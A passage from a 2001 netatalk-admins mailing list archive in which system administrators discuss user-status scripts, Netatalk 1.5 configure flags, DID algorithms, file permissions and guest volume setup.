	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Oct 2001 17:56:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA04193
	for netatalk.administrators-members@umich.edu; Wed, 3 Oct 2001 17:56:07 -0400 (EDT)
Received: from mhub-c5.tc.umn.edu (mhub-c5.tc.umn.edu [160.94.128.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA04131
	for <netatalk-admins@umich.edu>; Wed, 3 Oct 2001 17:56:06 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-c5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 3 Oct 2001 16:56:04 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Wed, 3 Oct 2001 16:56:04 -0500
Date: Wed, 3 Oct 2001 16:56:03 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: Michael.Kindermann@mainpost.de
cc: netatalk-admins@umich.edu
Subject: Re: user statistic
In-Reply-To: <OF2EE8561B.27B04591-ONC1256A33.004932E2@mainpost.de>
Message-Id: <Pine.SOL.4.20.0110031650431.16857-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 04/19/01, Michael.Kindermann@mainpost.de wisely declared:

> hello,
> 
> our server (linux 2.2.10)  is running natalk 1.4b2 + asun2.1.4 . is there a
> possibility get some statistics who is using  the server  by appletalk.
> The server is also running samba, so there are alot of computers connected.
> 
> MfG

In the contrib directory of netatalk, there are two subdirectories, nu and
macusers. They both contain scripts that help determine who is logged
in. I don't remember which runs on which platforms, but try them
out. Samba comes with a utilty called smbstatus that does the same thing.

I use openbsd, for which neither nu or macusers worked, but a friend had
written one that did, called afpdstatus. I posted it to this list a few
months ago, if you search the archives you can find it, or I can send it
to you off-line. I strung afpdstatus and smbstatus together into a simple
script, and run that to see who's logged in on both samba and netatalk at
the same time. lsof (from gnu, I think) can also tell you which client the
mac user is logged into.

Here's my simple script, as I said, it calls other scripts provided by
samba and netatalk:

#!/bin/sh
# To Run Rowan's afpdstatus script and then lsof, so can
# tell from whence people are logged in.
echo 'Netatalk users logged in:'

/usr/local/bin/afpdstatus

echo ' '

echo 'Location of Netatalk Users (lsof):'
echo ' '
lsof | grep afpd | grep ESTABLISHED

echo ' '
echo 'Output of smbstatus:'
echo ' '
/usr/local/samba/bin/smbstatus


---
hope that helps,

-Karen

-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz



From netatalk.administrators-errors@umich.edu  Wed Oct  3 18:04:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA03189
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Oct 2001 18:04:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA21953
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Oct 2001 18:04:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA21933
	for netatalk.administrators-members@umich.edu; Wed, 3 Oct 2001 18:04:33 -0400 (EDT)
Received: from mhub-w5.tc.umn.edu (mhub-w5.tc.umn.edu [160.94.160.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA21865
	for <netatalk-admins@umich.edu>; Wed, 3 Oct 2001 18:04:32 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-w5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 3 Oct 2001 17:04:30 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Wed, 3 Oct 2001 17:04:30 -0500
Date: Wed, 3 Oct 2001 17:04:30 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: Rory Campbell-Lange <rory@campbell-lange.net>
cc: netatalk-admins@umich.edu
Subject: Re: Install path problem on Debian
In-Reply-To: <20010419134214-r01010600-fd7216d1@194.159.148.247>
Message-Id: <Pine.SOL.4.20.0110031657050.20662-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 04/19/01, Rory Campbell-Lange wisely declared:

> Hi 
> 
> I'm trying to build 1.5pre6. I've never installed something from source
> before.

...

using gmake will help, too. Netatalk has been 'gnuified', but I'm not sure
that's made it into the documentation yet (and I did the exact same thing
when I first built from source, just a few months ago)


> atalkd[16646]: NONE/etc/atalkd.tmp: No such file or directory
> atalkd[16646]: ready 0/0/0

If I recall correctly, this NONE was a bug in Pre6. It is fixed in Pre7,
which is available on Sourceforge or vi CVS. The Pre7 on sourgeforge is
still beta, but is in pretty good shape. There is talk on the develers
list of making a Pre8 in the next few days, too, which will fix some of
the more insidious and hard to spot bugs in Pre7.

If you do decide to go the CVS route, also become familiar with the
archives of netatalk-admins, available at: 

ftp ftp://terminator.rs.itd.umich.edu/unix/netatalk/netatalk-admins.mail

as many of the questions you'll most likely ask first I (and others) have
gone through recently. Or you're welcome to ask me. The first is that the
CVS doesn't have a configure file, you must run ./autogen.sh first.

-Karen

-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz



From netatalk.administrators-errors@umich.edu  Wed Oct  3 18:09:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA03334
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Oct 2001 18:09:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA10304
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Oct 2001 18:09:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA10284
	for netatalk.administrators-members@umich.edu; Wed, 3 Oct 2001 18:09:04 -0400 (EDT)
Received: from mhub-c5.tc.umn.edu (mhub-c5.tc.umn.edu [160.94.128.51])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA10247
	for <netatalk-admins@umich.edu>; Wed, 3 Oct 2001 18:09:03 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-c5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 3 Oct 2001 17:09:02 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 3 Oct 2001 17:09:02 -0500
Date: Wed, 3 Oct 2001 17:09:02 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Newbie questions/OSX/compile flags
Message-Id: <Pine.SOL.4.20.0110031705350.20662-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I just asked over on the developers list if there was more up to date
information on a bunch of the compile flags, and if anyone had an up to
date FAQ yet. Joe Clark sent along the following, with his current
observations on the state of Netatalk. This has lots of good info about
which compile flags to use when, and OSX issues:

I hope to write this, and other things, up for the FAQ, but this way it's
in the archives, which anyone can access at:
ftp ftp://terminator.rs.itd.umich.edu/unix/netatalk/netatalk-admins.mail
(this is a ~6 meg mbox file):

Joe Clark wrote:

I have been using Netatalk now for about four years.  I remember
switching between it and the Columbia AppleTalk Package.  Eventually, I
settled in with FreeBSD 2.2.6 and Netatalk 1.4b2.  My production
envrionment consists of Macintosh-centric advertising agency with about
25 Mac users, and six or so printers.

When I was using 1.4b2, compilation was simple.  You just typed
``make,'' and everything built nicely.  Eventually, the FreeBSD ports
collection adopted Netatalk, and not soon after, ASun's TCP/DSI patches.
This configuration (Netatalk+asun) worked for a long time.

About six months ago, some of the people in the art department started
complaining that saving Quark Express files caused the server connection
to crash.  This happened after they upgraded to Mac OS 9.x.  Since I was
unable -- due to lack of Quark -- to reproduce the problem, I searched
to see if the long-awaited next release of ASun's patches were out.  To
my suprise, I found Netatalk had been updated to 1.5pre6, and was hosted
on Sourceforge.  I downloaded the tar.gz, and tried to get it setup.
The first thing I noticed was that it required GNU configure.  Not
knowing what new features were there, I just typed:

./configure

Once that was done, I did a ``make.''.  Big suprise, it failed.  I then
retired with ``gmake,'' and things started to compile.  I ran into some
errors with missing header files, and some improperly defined functions
(improperly defined for FreeBSD anyway).  After fixing those errors, I
had a working Netatalk 1.5pre6.

The first thing I noticed was that Quark no longer crashed the server
connection.  Now, an occasional ``Error Type -50'' would pop up on the
user's Macintosh when trying to save Quark documents.  After scouring
the mailing lists and support forums, I found that this could be worked
around by turning the document preview feature off in Quark.  I passed
this information on to the art department, and they quieted down.

However, one day I received a call saying that an entire directory had
been deleted from the server.  It wasn't really deleted they said, it
just disappeared.  I also noticed some strange errors in the
/var/log/messages file:

WARNING: DID conflict for ...  Are these the same file?

Sure enough, the ``...'' was the same name as the missing directory.  I
looked everywhere on the filesystem for the directory, but it couldn't
be found.  I again went back to the support forums, and found a mention
of using LAST DID to correct this issue.  I then rebuilt netatalk with
the configure statement:

./configure --enable-lastdid

This reverted things back to the old 1.4b2 directory ID calculation
algorithm.  This also solved the problem of the syslog messages and the
users complaining of file deletions.  I also found that by disabling
*BSD's SOFTUPDATES feature on Netatalk volumes, multi-user interaction
seemed to work better.  This was back in a late 4.2-BETA, so I'm not
sure if this still holds true in 4.4-RELEASE or not.  However, since
this is a production environment, I have left SOFTUPDATES off on my
Netatalk volumes.

When I tried to get Netatalk 1.5pre6 working in Mac OS X, things failed
miserably.  No matter what I tried to do, I would get an error.  If I
tried to open a document from a Netatalk server in OS X, I'd receive a
``Application for this document not found'' error.  If I tried to copy a
file from the Netatalk server to OS X, I'd get an ``Error Type -43.''  I
found information in the Apple discussion forums and in Netatalk's
support forum that said a late 1.4 beta worked well with OS X.  I
downloaded this, and found that the LAST DID algorithm had been broken
in certain cases in pre6.  I submitted patches to fix it, and voila, OS
X worked with Netatalk.  Again, I had to configure with the
--enable-lastdid configure argument.

What about file and directory permissions?  Since I didn't use the FORCE
UID/GID code, I decided to use a feature of FreeBSD called SUIDDIR.
>From the LINT kernel config file:

# If you are running a machine just as a fileserver for PC and MAC
# users, using SAMBA or Netatalk, you may consider setting this option
# and keeping all those users' directories on a filesystem that is
# mounted with the suiddir option. This gives new files the same
# ownership as the directory (similar to group). It's a security hole
# if you let these users run programs, so confine it to file-servers
# (but it'll save you lots of headaches in those cases). Root owned
# directories are exempt and X bits are cleared. The suid bit must be
# set on the directory as well; see chmod(1) PC owners can't see/set
# ownerships so they keep getting their toes trodden on. This saves
# you all the support calls as the filesystem it's used on will act as
# they expect: "It's my dir so it must be my file".

 FORCE UID/GID code, I decided to use a feature of FreeBSD called
 SUIDDIR.  From the LINT kernel config file:

# If you are running a machine just as a fileserver for PC and MAC
# users, using SAMBA or Netatalk, you may consider setting this option
# and keeping all those users' directories on a filesystem that is
# mounted with the suiddir option. This gives new files the same
# ownership as the directory (similar to group). It's a security hole
# if you let these users run programs, so confine it to file-servers
# (but it'll save you lots of headaches in those cases). Root owned
# directories are exempt and X bits are cleared. The suid bit must be
# set on the directory as well; see chmod(1) PC owners can't see/set
# ownerships so they keep getting their toes trodden on. This saves
# you all the support calls as the filesystem it's used on will act as
# they expect: "It's my dir so it must be my file".

And the associated mount command:

mount -o suiddir /dev/da2s1e /macvol/artfiles

This was used on my dedicated Netatalk/Samba filesystems.  On
filesystems that were also used for interactive shell access, I chmod'd
my Netatalk shares 2770.  The reason for this is that I set up a UNIX
group for each department in the ad agency.  I had an art group, a media
group, an accounting group, and then, or course, a general staff group.
Each share was only allowed access by the group that needed to access
the share.  So, the Artfiles share allowed access only to the art group:

/macvol/artfiles "Art Files" allow:@art

And the others followed in kind.  Therefore, the 2770 mask allowed only
owners and people in the associated group access to read and write
files.  The leading 2 set the setgid bit so that all child files and
directories would retain the same group permissions.  I found this to
work well.

This was used on my dedicated Netatalk/Samba filesystems.  On
filesystems that were also used for interactive shell access, I chmod'd
my Netatalk shares 2770.  The reason for this is that I set up a UNIX
group for each department in the ad agency.  I had an art group, a media
group, an accounting group, and then, or course, a general staff group.
Each share was only allowed access by the group that needed to access
the share.  So, the Artfiles share allowed access only to the art group:

/macvol/artfiles "Art Files" allow:@art

And the others followed in kind.  Therefore, the 2770 mask allowed only
owners and people in the associated group access to read and write
files.  The leading 2 set the setgid bit so that all child files and
directories would retain the same group permissions.  I found this to
work well.

After a while running with 1.5pre6, 1.5pre7 was ready to go out.  There
wasn't too much I was interested in implementing in this release, but I
was now maintaining the FreeBSD port of Netatalk, and I wanted to keep
my port current.  One of the hot new features in pre7 was the new
persistent DID code based on Berkeley db3 by Sleepy Cat Software.  With
this code, it would be possible to keep unique DIDs between reboots
afpd.  This code was still experimental, however.

The CNID DB code differed from the LAST DID code in the fact that it
used persisten disk-based storage to store filename-to-DID mappings,
dev/inode mappings, and CNID mappings.  The algorithm was simple.  The
DID starts at the first usable ID (3 in this case), and increments until
a unique ID is found.  That is then inserted into the database.  If the
ID is later freed up, a newly added directory will take it in its walk
through the database.

There were quite a few users eager to start playing with this new DID
code (called CNID DB).  I figured, I'd test it enough to add support for
it to my FreeBSD port.  During me testing, I found the code to be mainly
broken.  It was development exclusively on Linux using db3 3.1.17.
FreeBSD's ports collection included 3.2.9 as its stable version of db3.
There were quite a few differences between the two APIs.  Adding to this
was the fact that Sleepy Cat also had db3 3.3.11 out as well. 

In order to make CNID DB not only compile, but work somewhat, I began
analyzing the code.  I fixed quite a few bugs, and added some
portability improvements.  The code should now work (or at least
compile) on db3 3.1.x, 3.2.x, and 3.3.x.  However, I have not been able
to test it thoroughly enough to state it's ready for production.  There
still seems to be some locking issues from what I can tell from the
mailing lists.  

All of these CNID DB improvements are in the Netatalk CVS, but they are
not in an official release.  If you try to use 1.5pre7 without db3
installed (even if you don't plan to use the CNID DB DID code), you will
get compilation issues.  This is because the db3 code is compiled no
matter what.  Patches were committed to CVS to correct this.  Please see
https://sourceforge.net/cvs/?group_id=8642 for more information on
obtaining a recent CVS version.

If you wish to enable the CNID DB DID code, configure Netatalk with:

./configure --enable-cnid-db

For now, I still stick with the LAST DID algorithm in production.  I
also compile without PAM support.  This requires the --without-pam
configure argument since PAM is built by default.  For my FreeBSD port,
I configure using:

./configure --without-pam --pkgconfdir=/usr/local/etc --with-did=last
--with-tcp-wrappers

The --with-tcp-wrappers option tells Netatalk to use TCP Wrappers with
afpd.  This allows finer grain control over who can connect to my afpd
DSI/TCP shares.  The --with-did=last is just the pre7 incarnation of
--enable-lastdid.  The --pkgconfdir option tells Netatalk to use
/usr/local/etc from config files instead of the default
/usr/local/etc/netatalk.

As I continued to listen to users' comments on the netatalk-devel
mailing list, I found that Quark Express continued to be a problem.  I
asked my art department again if they still had Quark problems.  Some
said no, others said yes.  Some Linux users said that another configure
argument, --with-flock-locks, helped them solve their Quark problems
among another things.  Enabling this code disabled the new byte locking
feature.  With FLOCK locks, the whole file would be locked.  With byte
locks, a byte range could be locked without lcoking the whole file.  In
any event, this didn't seem to be working correctly on Linux.

I've been trying out --with-flock-locks in my production environment for
a few days now, and so far, so good.  They haven't done much Quark work
lately.  If they start to experience problems, I'll re-enable byte
locks.  Else, I'll stick to the older style 1.4b2 code.

Since 1.5pre7 was released, a few users have contributed patches to
improve one thing or another.  For instance, patches were committed to
re-enable codepage translations, fix the custom icon (-I) argument to
afpd, add Service Location Protocol support, and stop seg faults when no
atalkd.conf file exists (to name a few).  Others in review are better
advisory locking code when dealing with read-only files as well as
better handling of errors when inaccessible directories are encountered.
Problems that still exist are occasional core dumps when dealing with
certain files (under investigation), CNID DB DID problems (awaiting
feedback from users on latest patches), copy problems from Mac to
Netatalk (trying to reproduce), and better file locking capabilities in
general (Samba to contribute???).

This is just my take on things that I have seen an dealt with.  I
apologize if anything is blatantly wrong.

Joe Clarke
marcus@marcuscom.com


-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Thu Oct  4 02:25:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA21113
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 02:25:16 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA18398
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 02:25:16 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA18390
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 02:25:15 -0400 (EDT)
Received: from mail44.fg.online.no (mail44-s.fg.online.no [148.122.161.44])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA18367
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 02:25:14 -0400 (EDT)
Received: from 130.67.7.117 (ti100710a060-0243.dialup.online.no [130.67.7.117])
	by mail44.fg.online.no (8.9.3/8.9.3) with SMTP id IAA14478
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 08:25:10 +0200 (MET DST)
Date: 04 Oct 2001 08:21:23 +0200
Message-ID: <937544811gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: Re: Making guest
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id CAA21113

My problem is not with unix/linux system administration, but (netatalk.prefs of some sort) which folder is chosen to become the volume for guest, and where do I tell that to netatalk.

I would like

-noddp -tcp -<<whatever it takes to have a guest login to>> /home/guest

I have temporarily solved the problem by making user/password = guest/guest but I find this clumsy.
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Im just sitting here listening to the scream of the butterfly"

On onsdag 3. oktober 2001 22:17, Karen A Swanberg <swanberg@tc.umn.edu> wrote:
>
>on 10/03/01, Gjermund G Thorsen wisely declared:
>
>> I made guestvolume... with no problems, but how do I set which folder
>> guestvolume points to? Now it points to /home , with no read privs,
>> for writing, nor reading.
>
>Have you edited the /usr/local/etc/netatalk/AppleVolumes.default file yet
>(the location of that file may change, but that's the default location)?
>What are the unix permissions on the folder you want to be the guest
>volume?
>
>-Karen
>
>-                                                                  -
>    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
>206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
>     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)
>
>              * <---- Tribble   . <--- Tribble.tgz
>
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Here is wisdom. Let him that hath understanding count the number of the beast: for it is the number of a man; and his number is Six hundred threescore and six.And I looked, and, lo, a Lamb stood on the mount Sion, and with him an hundred forty and four thousand, having his Father's name written in their foreheads." - Revelation 13, 18


From netatalk.administrators-errors@umich.edu  Thu Oct  4 10:09:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA05103
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 10:09:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA12511
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 10:09:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA12498
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 10:09:43 -0400 (EDT)
Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA12451
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 10:09:41 -0400 (EDT)
Received: from [213.122.161.142] (helo=servant.geotek.co.uk)
	by carbon.btinternet.com with esmtp (Exim 3.22 #6)
	id 15p9Bz-0001mG-00
	for netatalk-admins@umich.edu; Thu, 04 Oct 2001 15:09:39 +0100
Received: from richard.geotek.co.uk ([192.168.0.25])
	by servant.geotek.co.uk (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id f94Eq4L14772
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 14:52:04 GMT
Message-Id: <5.1.0.14.0.20011004145325.00ac9678@192.168.0.1>
X-Sender: richard@192.168.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 04 Oct 2001 14:55:55 +0100
To: netatalk-admins@umich.edu
From: Richard Chamberlain <richard@geotek.co.uk>
Subject: =?iso-8859-1?Q?=A3_signs?=
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA05103

Hi,

We've just set up our new linux server on which we installed netatalk.

Sorry if this is obvious...

On a macintosh on an NT Server we used to be able to have filenames with £ 
symbols in them. Using netatalk we don't seem to be able to do that.

If we use a £ symbol it converts to another character, and if we set the £ 
symbol via linux we are unable to open it on a mac.

It would be nice to have because we have a number of account files with £s in.

Thanks,

Richard


From netatalk.administrators-errors@umich.edu  Thu Oct  4 10:43:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA07046
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 10:43:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA19024
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 10:43:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA19011
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 10:43:43 -0400 (EDT)
Received: from mail.artshouse.com (H114.C214.tor.velocet.net [216.138.214.114])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA18949
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 10:43:41 -0400 (EDT)
Received: from [192.168.0.16] ( [192.168.0.16] (may be forged))
	by mail.artshouse.com (8.9.3/8.9.3) with ESMTP id LAA20129
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 11:10:54 -0400
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 04 Oct 2001 10:43:50 -0400
Subject: 2001-10-03 CVS - ./ltconfig missing
From: Mark Guertin <mark@artshouse.com>
To: Netatalk Admin List <netatalk-admins@umich.edu>
Message-ID: <B7E1EDE6.91B%mark@artshouse.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hello all

I noticed in the ChangeLog that Joe fixed the pam problem (again), so I
tried to test,  but the CVS update from 2001-10-03 seems to have broken
configure, here are my configure options:

./configure --without-pam --with-flock-locks --prefix=/usr
--with-pkgconfdir=/etc/atalk --with-did=last

And I get the following:

./ltconfig: ./ltconfig: No such file or directory
configure: error: libtool configure failed

Maybe Joe forgot to commit this file to cvs?

Just in case it matters, here is my libtool version:

libtool --version
ltmain.sh (GNU libtool) 1.4 (1.920 2001/04/24 23:26:18)

Mark 

======================================
Mark Guertin, IT Manager
Artshouse Communications Inc.
345 Adelaide Street West, Main Floor
Toronto, ON, Canada   M5V 1R5
Phone (416) 340-6284 x222
Fax - (416) 581-1252


From netatalk.administrators-errors@umich.edu  Thu Oct  4 18:48:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA00047
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 18:48:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA26910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 18:48:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA26902
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 18:48:20 -0400 (EDT)
Received: from mhub-w4.tc.umn.edu (mhub-w4.tc.umn.edu [160.94.160.49])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA26881
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 18:48:19 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-w4.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Thu, 4 Oct 2001 17:48:19 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Thu, 4 Oct 2001 17:48:19 -0500
Date: Thu, 4 Oct 2001 17:48:19 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: mounting multiples shares
Message-Id: <Pine.SOL.4.20.0110041455230.16268-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


It used to be that I could set my /usr/local/etc/netatalk/
AppleVolumes.default file to read:

~
/home/public

and when I logged in as a non-guest user, I could choose which of those
drives to mount. And I could mount them both at the same time if I
wished. This (as of at least pre7) no longer works. If I want to move
files from one volume to another on the mac, I have to copy them down to
the local hard drive, and then back up. Is this a change in configuration,
or did the code change somehow to disallow this?

I realize that I can fix this by putting an .AppleVolumes file in the
user's home directory, but it used to be that everything in the system
AppleVolume.default would apply to everyone.

The directories in question are:

#pwd
/home

1 drwxrwxrwx   2 geology   guest  512 Sep 26 15:00 public
1 drwxr-xr-x   3 swanberg  staff  512 Oct  4 14:35 swanberg

I've also tried changing my system AppleVolumes.default to be this:

~ allow:swanberg,geology
/home/public allow:swanberg,geology

but that doesn't work either.

Also, it would be nice to have a sample default line in
AppleVolumes.default, commented out, like there is in afpd.conf. I realize
realize it's in the man page, though.

Thanks,

Karen

-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz






From netatalk.administrators-errors@umich.edu  Thu Oct  4 20:39:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA03336
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 4 Oct 2001 20:39:03 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA22946
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 4 Oct 2001 20:39:03 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA22935
	for netatalk.administrators-members@umich.edu; Thu, 4 Oct 2001 20:39:02 -0400 (EDT)
Received: from mhub-w4.tc.umn.edu (mhub-w4.tc.umn.edu [160.94.160.49])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA22912
	for <netatalk-admins@umich.edu>; Thu, 4 Oct 2001 20:39:01 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-w4.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Thu, 4 Oct 2001 19:39:01 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Thu, 4 Oct 2001 19:39:00 -0500
Date: Thu, 4 Oct 2001 19:39:00 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: new FAQ, pt. 1 (long)
